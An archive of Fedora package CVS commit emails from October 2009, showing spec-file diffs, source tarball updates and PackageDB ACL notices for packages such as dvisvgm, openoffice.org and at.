diff -u -p -r1.9 -r1.10
--- mcpp.spec	25 Jul 2009 11:54:49 -0000	1.9
+++ mcpp.spec	13 Oct 2009 13:37:01 -0000	1.10
@@ -3,12 +3,14 @@
 Summary:    Alternative C/C++ preprocessor
 Name:       mcpp
 Version:    2.7.2
-Release:    3%{?dist}
+Release:    4%{?dist}
 License:    BSD
 Group:      Development/Languages
 Source:     http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 URL:        http://mcpp.sourceforge.net/
 Patch0:     mcpp-manual.html.patch
+# From http://www.zeroc.com/forums/patches/4445-patch-1-mcpp-2-7-2-a.html
+Patch1:     patch.mcpp.2.7.2.txt
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root
 
 %description
@@ -28,6 +30,7 @@ shared library of mcpp and behaves indep
 %prep
 %setup -q
 %patch0 -p0 -b -z.euc-jp
+%patch1 -p1
 
 %build
 %configure --enable-mcpplib --disable-static
@@ -93,6 +96,9 @@ This package provides an html manual for
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Tue Oct 13 2009 Mary Ellen Foster <mefoster at gmail.com> 2.7.2-4
+- Incorporate patch from Ice upstream project
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.7.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mschwendt at fedoraproject.org  Tue Oct 13 13:39:53 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Tue, 13 Oct 2009 13:39:53 +0000 (UTC)
Subject: rpms/audacity/F-10 .cvsignore,1.10,1.11 sources,1.12,1.13
Message-ID: <20091013133953.C97F111C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacity/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4649

Modified Files:
	.cvsignore sources 
Log Message:
add tarball


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audacity/F-10/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	28 Feb 2009 15:29:00 -0000	1.10
+++ .cvsignore	13 Oct 2009 13:39:53 -0000	1.11
@@ -1 +1 @@
-audacity-minsrc-1.3.7.tar.bz2
+audacity-minsrc-1.3.9.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audacity/F-10/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	28 Feb 2009 15:29:01 -0000	1.12
+++ sources	13 Oct 2009 13:39:53 -0000	1.13
@@ -1 +1 @@
-7dcbcd8ed417413fd824d446001058d9  audacity-minsrc-1.3.7.tar.bz2
+0f2bc8971c6e2c4d39457c28aea16b5c  audacity-minsrc-1.3.9.tar.bz2



From mgieseki at fedoraproject.org  Tue Oct 13 13:41:14 2009
From: mgieseki at fedoraproject.org (Martin Gieseking)
Date: Tue, 13 Oct 2009 13:41:14 +0000 (UTC)
Subject: rpms/dvisvgm/F-10 .cvsignore, 1.2, 1.3 dvisvgm.spec, 1.3,
	1.4 sources, 1.4, 1.5
Message-ID: <20091013134114.316F211C00E8@cvs1.fedora.phx.redhat.com>

Author: mgieseki

Update of /cvs/pkgs/rpms/dvisvgm/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4973

Modified Files:
	.cvsignore dvisvgm.spec sources 
Log Message:
update to upstream release 0.8.6


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	17 Sep 2009 13:14:56 -0000	1.2
+++ .cvsignore	13 Oct 2009 13:41:14 -0000	1.3
@@ -1 +1 @@
-dvisvgm-0.8.4.tar.gz
+dvisvgm-0.8.6.tar.gz


Index: dvisvgm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-10/dvisvgm.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- dvisvgm.spec	17 Sep 2009 13:14:56 -0000	1.3
+++ dvisvgm.spec	13 Oct 2009 13:41:14 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           dvisvgm
-Version:        0.8.4
+Version:        0.8.6
 Release:        1%{?dist}
 Summary:        A DVI to SVG converter
 
@@ -59,17 +59,20 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING NEWS README
+%doc AUTHORS COPYING LGPL-2.1.txt NEWS README
 %{_bindir}/dvisvgm
 %{_mandir}/man1/dvisvgm.1.*
 
 
 %changelog
+* Tue Oct 13 2009  Martin Gieseking <martin.gieseking at uos.de> - 0.8.6-1
+- updated to latest upstream release 0.8.6
+
 * Thu Sep 17 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.4-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.4
 
 * Mon Aug 24 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.3-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.3
 - conditional Requires and BuildRequires to satisfy F-xx and EL5
 
 * Wed Aug 12 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.1-5


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Sep 2009 13:14:56 -0000	1.4
+++ sources	13 Oct 2009 13:41:14 -0000	1.5
@@ -1 +1 @@
-3dbbab35f7e50d66d438d059cf239f5f  dvisvgm-0.8.4.tar.gz
+d26db0e588b3e20401b710327b01325c  dvisvgm-0.8.6.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 13 13:42:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:42:49 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134250.1176510F875@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora devel) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:42:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:42:51 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134251.5B50910F88B@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora devel) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:42:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:42:53 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134253.4AE2D10F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora devel) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:42:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:42:57 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134257.A349510F875@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora 10) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:42:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:42:58 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134258.A343E10F8AC@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 10) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:43:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:43:04 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134304.6029810F850@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora 11) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:43:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:43:05 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134305.3582C10F8A8@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 11) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:43:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:43:05 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134305.C902B10F882@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 10) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:43:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:43:06 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134306.5287B10F8B4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 11) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:43:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:43:09 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134309.279C110F8AD@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora 12) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:43:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:43:10 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134310.7B6DA10F8B9@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 12) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:43:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:43:12 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091013134312.E728110F88B@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 12) to Approved for ltinkl

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From mgieseki at fedoraproject.org  Tue Oct 13 13:44:29 2009
From: mgieseki at fedoraproject.org (Martin Gieseking)
Date: Tue, 13 Oct 2009 13:44:29 +0000 (UTC)
Subject: rpms/dvisvgm/EL-5 .cvsignore, 1.2, 1.3 dvisvgm.spec, 1.5,
	1.6 sources, 1.4, 1.5
Message-ID: <20091013134429.F377811C00E8@cvs1.fedora.phx.redhat.com>

Author: mgieseki

Update of /cvs/pkgs/rpms/dvisvgm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5634

Modified Files:
	.cvsignore dvisvgm.spec sources 
Log Message:
update to upstream release 0.8.6


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	17 Sep 2009 13:22:59 -0000	1.2
+++ .cvsignore	13 Oct 2009 13:44:29 -0000	1.3
@@ -1 +1 @@
-dvisvgm-0.8.4.tar.gz
+dvisvgm-0.8.6.tar.gz


Index: dvisvgm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/EL-5/dvisvgm.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- dvisvgm.spec	17 Sep 2009 13:22:59 -0000	1.5
+++ dvisvgm.spec	13 Oct 2009 13:44:29 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           dvisvgm
-Version:        0.8.4
+Version:        0.8.6
 Release:        1%{?dist}
 Summary:        A DVI to SVG converter
 
@@ -59,17 +59,20 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING NEWS README
+%doc AUTHORS COPYING LGPL-2.1.txt NEWS README
 %{_bindir}/dvisvgm
 %{_mandir}/man1/dvisvgm.1.*
 
 
 %changelog
+* Tue Oct 13 2009  Martin Gieseking <martin.gieseking at uos.de> - 0.8.6-1
+- updated to latest upstream release 0.8.6
+
 * Thu Sep 17 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.4-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.4
 
 * Mon Aug 24 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.3-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.3
 - conditional Requires and BuildRequires to satisfy F-xx and EL5
 
 * Wed Aug 12 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.1-5


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Sep 2009 13:22:59 -0000	1.4
+++ sources	13 Oct 2009 13:44:29 -0000	1.5
@@ -1 +1 @@
-3dbbab35f7e50d66d438d059cf239f5f  dvisvgm-0.8.4.tar.gz
+d26db0e588b3e20401b710327b01325c  dvisvgm-0.8.6.tar.gz



From mgieseki at fedoraproject.org  Tue Oct 13 13:46:19 2009
From: mgieseki at fedoraproject.org (Martin Gieseking)
Date: Tue, 13 Oct 2009 13:46:19 +0000 (UTC)
Subject: rpms/dvisvgm/EL-5 dvisvgm.spec,1.6,1.7
Message-ID: <20091013134619.0C33211C00E8@cvs1.fedora.phx.redhat.com>

Author: mgieseki

Update of /cvs/pkgs/rpms/dvisvgm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6067

Modified Files:
	dvisvgm.spec 
Log Message:
forgot to commit changes before committing


Index: dvisvgm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/EL-5/dvisvgm.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- dvisvgm.spec	13 Oct 2009 13:44:29 -0000	1.6
+++ dvisvgm.spec	13 Oct 2009 13:46:18 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           dvisvgm
 Version:        0.8.6
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 Summary:        A DVI to SVG converter
 
 Group:          Applications/Publishing



From mmaslano at fedoraproject.org  Tue Oct 13 13:56:43 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Tue, 13 Oct 2009 13:56:43 +0000 (UTC)
Subject: rpms/at/F-11 at.spec,1.74,1.75
Message-ID: <20091013135643.EA0E411C00E8@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/at/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8949

Modified Files:
	at.spec 
Log Message:
* Tue Oct 13 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.1.10-32
- 528582 add noreplace option into files section



Index: at.spec
===================================================================
RCS file: /cvs/pkgs/rpms/at/F-11/at.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- at.spec	17 Jul 2009 11:33:04 -0000	1.74
+++ at.spec	13 Oct 2009 13:56:43 -0000	1.75
@@ -6,7 +6,7 @@
 Summary: Job spooling tools
 Name: at
 Version: 3.1.10
-Release: 31%{?dist}
+Release: 32%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 URL: http://ftp.debian.org/debian/pool/main/a/at
@@ -179,23 +179,26 @@ fi
 %files
 %defattr(-,root,root,-)
 %doc docs/*
-%config(noreplace) %{_sysconfdir}/at.deny
+%config(noreplace)		%{_sysconfdir}/at.deny
+%config(noreplace)		%{_sysconfdir}/sysconfig/atd
 %attr(0755,root,root)		%{_sysconfdir}/rc.d/init.d/atd
-%attr(0644,root,root)		%{_sysconfdir}/sysconfig/atd
 %attr(0700,daemon,daemon)	%dir %{_localstatedir}/spool/at
 %attr(0600,daemon,daemon)	%verify(not md5 size mtime) %ghost %{_localstatedir}/spool/at/.SEQ
 %attr(0700,daemon,daemon)	%dir %{_localstatedir}/spool/at/spool
-%attr(0640,root,daemon)	%config(noreplace) /etc/pam.d/atd
+%attr(0640,root,daemon)		%config(noreplace) /etc/pam.d/atd
 %{_sbindir}/atrun
-%attr(0755,root,root)	%{_sbindir}/atd
+%attr(0755,root,root)		%{_sbindir}/atd
 %{_mandir}/man*/*
 %{_bindir}/batch
 %{_bindir}/atrm
 %{_bindir}/atq
-%attr(4755,root,root)	%{_bindir}/at
-%attr(0755,root,root)	%{_libdir}/pm-utils/sleep.d/56atd
+%attr(4755,root,root)		%{_bindir}/at
+%attr(0755,root,root)		%{_libdir}/pm-utils/sleep.d/56atd
 
 %changelog
+* Tue Oct 13 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.1.10-32
+- 528582 add noreplace option into files section
+
 * Fri Jul 17 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.1.10-31
 - 502078 fix pm-utils script to wake up only when atd was running
 



From caolanm at fedoraproject.org  Tue Oct 13 14:06:01 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 13 Oct 2009 14:06:01 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec, 1.2033,
	1.2034 workspace.vcl106.patch, 1.2,
	1.3 openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch, 1.2, NONE
Message-ID: <20091013140601.3BB0D11C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11362

Modified Files:
	openoffice.org.spec workspace.vcl106.patch 
Removed Files:
	openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch 
Log Message:
openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch merged into workspace.vcl106


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2033
retrieving revision 1.2034
diff -u -p -r1.2033 -r1.2034
--- openoffice.org.spec	13 Oct 2009 12:27:55 -0000	1.2033
+++ openoffice.org.spec	13 Oct 2009 14:06:00 -0000	1.2034
@@ -112,12 +112,11 @@ Patch38: openoffice.org-3.1.0.ooo104280.
 Patch39: openoffice.org-3.1.1.ooo104329.dbaccess.primarykeys.patch
 Patch40: openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch
 Patch41: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
-Patch42: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
-Patch43: workspace.vcl106.patch
-Patch44: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
-Patch45: workspace.dba32h.patch
-Patch46: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
-Patch47: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
+Patch42: workspace.vcl106.patch
+Patch43: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
+Patch44: workspace.dba32h.patch
+Patch45: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
+Patch46: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1619,12 +1618,11 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch39 -p0 -b .ooo104329.dbaccess.primarykeys.patch
 %patch40 -p0 -b .ooo64671.canvas.add-support-for-font-pitch.patch
 %patch41 -p1 -b .oooXXXXXX.sal.justcoredump.patch
-%patch42 -p0 -b .ooo92671.vcl.coverageformat2.patch
-%patch43 -p0 -b .workspace.vcl106.patch
-%patch44 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
-%patch45 -p0 -b .workspace.dba32h.patch
-%patch46 -p0 -b .officecfg.default-font-for-si-locale.patch
-%patch47 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
+%patch42 -p0 -b .workspace.vcl106.patch
+%patch43 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
+%patch44 -p0 -b .workspace.dba32h.patch
+%patch45 -p0 -b .officecfg.default-font-for-si-locale.patch
+%patch46 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`

workspace.vcl106.patch:
 unx/gtk/a11y/atkutil.cxx         |   13 ++++++++++---
 vcl/source/fontsubset/gsub.cxx   |   10 ++++++++--
 vcl/source/glyphs/gcach_ftyp.cxx |   11 +++++++++--
 3 files changed, 27 insertions(+), 7 deletions(-)

Index: workspace.vcl106.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/workspace.vcl106.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- workspace.vcl106.patch	10 Oct 2009 15:48:48 -0000	1.2
+++ workspace.vcl106.patch	13 Oct 2009 14:06:00 -0000	1.3
@@ -34,3 +34,47 @@
      {
          g_warning( "Exception caught processing menu highlight events" );
      }
+diff -ru vcl.orig/source/glyphs/gcach_ftyp.cxx vcl/source/glyphs/gcach_ftyp.cxx
+--- vcl.orig/source/glyphs/gcach_ftyp.cxx	2009-09-30 09:56:24.000000000 +0100
++++ vcl/source/glyphs/gcach_ftyp.cxx	2009-09-30 14:27:39.000000000 +0100
+@@ -2509,10 +2509,17 @@
+                         {
+                             const USHORT nGlyph0 = GetUShort( pCoverage+0 );
+                             const USHORT nGlyph1 = GetUShort( pCoverage+2 );
+-                            const USHORT nCovIdx = GetUShort( pCoverage+4 );
++                            const USHORT nStartCoverageIndex = GetUShort( pCoverage+4 );
+                             pCoverage += 6;
+                             for( USHORT j = nGlyph0; j <= nGlyph1; ++j )
+-                                aSubstVector.push_back( GlyphSubst( j + nCovIdx, 0 ) );
++                            {
++                                //http://www.microsoft.com/typography/otspec/CHAPTER2.htm
++                                //Coverage Index (GlyphID) = StartCoverageIndex + GlyphID - Start GlyphID.
++                                //e.g. http://qa.openoffice.org/issues/show_bug.cgi?id=92671
++                                DBG_ASSERT(aSubstVector.size() == nStartCoverageIndex + j - nGlyph0, "coverage index mismatch");
++                                (void)nStartCoverageIndex;
++                                aSubstVector.push_back( GlyphSubst( j, 0 ) );
++                            }
+                         }
+                     }
+                     break;
+diff -ru vcl.orig/source/fontsubset/gsub.cxx vcl/source/fontsubset/gsub.cxx
+--- vcl.orig/source/fontsubset/gsub.cxx	2009-09-30 12:46:58.000000000 +0100
++++ vcl/source/fontsubset/gsub.cxx	2009-09-30 14:31:17.000000000 +0100
+@@ -282,9 +282,15 @@
+                     {
+                         const USHORT nGlyph0 = NEXT_UShort( pCoverage );
+                         const USHORT nGlyph1 = NEXT_UShort( pCoverage );
+-                        const USHORT nCovIdx = NEXT_UShort( pCoverage );
++                        const USHORT nStartCoverageIndex = NEXT_UShort( pCoverage );
+                         for( USHORT j = nGlyph0; j <= nGlyph1; ++j )
+-                            aSubstVector.push_back( GlyphSubst( j + nCovIdx, 0 ) );
++                        {
++                            //http://www.microsoft.com/typography/otspec/CHAPTER2.htm
++                            //Coverage Index (GlyphID) = StartCoverageIndex + GlyphID - Start GlyphID.
++                            //e.g. #i92671#
++                            (void)nStartCoverageIndex;
++                            aSubstVector.push_back( GlyphSubst( j, 0 ) );
++                        }
+                     }
+                 }
+                 break;


--- openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch DELETED ---



From mmaslano at fedoraproject.org  Tue Oct 13 14:22:04 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Tue, 13 Oct 2009 14:22:04 +0000 (UTC)
Subject: rpms/libid3tag/F-12 libid3tag.spec,1.20,1.21
Message-ID: <20091013142204.3485211C00E8@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/libid3tag/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15138

Modified Files:
	libid3tag.spec 
Log Message:
Reverting license back to previous and correct.



Index: libid3tag.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libid3tag/F-12/libid3tag.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- libid3tag.spec	12 Oct 2009 13:26:33 -0000	1.20
+++ libid3tag.spec	13 Oct 2009 14:22:03 -0000	1.21
@@ -4,7 +4,7 @@ Release:        10%{?dist}
 Summary:        ID3 tag manipulation library
 
 Group:          System Environment/Libraries
-License:        GPLv2 or GPL+ or MIT
+License:        GPLv2+
 URL:            http://www.underbit.com/products/mad/
 Source0:        http://download.sourceforge.net/mad/%{name}-%{version}.tar.gz
 Patch0:         libid3tag-0.15.1b-fix_overflow.patch
@@ -81,7 +81,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 * Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.15.1b-10
-- rebuilt of package with correct licence
+- rebuilt of package with correct licence and revert it back
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.15.1b-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From tomeu at fedoraproject.org  Tue Oct 13 14:38:54 2009
From: tomeu at fedoraproject.org (tomeu)
Date: Tue, 13 Oct 2009 14:38:54 +0000 (UTC)
Subject: rpms/sugar-toolkit/devel sugar-toolkit.spec,1.57,1.58
Message-ID: <20091013143854.B954411C00E8@cvs1.fedora.phx.redhat.com>

Author: tomeu

Update of /cvs/pkgs/rpms/sugar-toolkit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20021

Modified Files:
	sugar-toolkit.spec 
Log Message:
* Tue Oct 13 2009 Tomeu Vizoso <tomeu at sugarlabs.org> - 0.86.0-3
- Add unzip as a dependency



Index: sugar-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/devel/sugar-toolkit.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sugar-toolkit.spec	9 Oct 2009 20:04:28 -0000	1.57
+++ sugar-toolkit.spec	13 Oct 2009 14:38:54 -0000	1.58
@@ -6,7 +6,7 @@
 Summary: Sugar toolkit
 Name: sugar-toolkit
 Version: 0.86.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 #Release: 2.%{alphatag}%{?dist}
 URL: http://wiki.laptop.org/go/Sugar
 # git clone git://dev.laptop.org/sugar
@@ -36,6 +36,7 @@ Requires: sugar-datastore
 Requires: sugar-base
 Requires: sugar-presence-service
 Requires: python-simplejson
+Requires: unzip
 
 %description
 Sugar is the core of the OLPC Human Interface. The toolkit provides
@@ -67,6 +68,9 @@ rm -rf %{buildroot}
 %{_sysconfdir}/rpm/macros.sugar
 
 %changelog
+* Tue Oct 13 2009 Tomeu Vizoso <tomeu at sugarlabs.org> - 0.86.0-3
+- Add unzip as a dependency
+
 * Fri Oct 09 2009 Luke Macken <lmacken at redhat.com> - 0.86.0-2
 - Remove python-json requirement, which is now provided by Python 2.6
 



From tomspur at fedoraproject.org  Tue Oct 13 14:48:51 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Tue, 13 Oct 2009 14:48:51 +0000 (UTC)
Subject: rpms/astyle/devel .cvsignore, 1.2, 1.3 astyle.spec, 1.11,
	1.12 sources, 1.2, 1.3
Message-ID: <20091013144851.2BA2911C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/astyle/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22077

Modified Files:
	.cvsignore astyle.spec sources 
Log Message:
Update to new version 1.23



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/astyle/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	6 Jul 2007 01:31:42 -0000	1.2
+++ .cvsignore	13 Oct 2009 14:48:50 -0000	1.3
@@ -1 +1 @@
-astyle_1.21_linux.tar.gz
+astyle_1.23_linux.tar.gz


Index: astyle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/astyle/devel/astyle.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- astyle.spec	24 Jul 2009 17:26:03 -0000	1.11
+++ astyle.spec	13 Oct 2009 14:48:51 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           astyle
-Version:        1.21
-Release:        11%{?dist}
+Version:        1.23
+Release:        1%{?dist}
 Summary:        Source code formatter for C-like programming languages
 
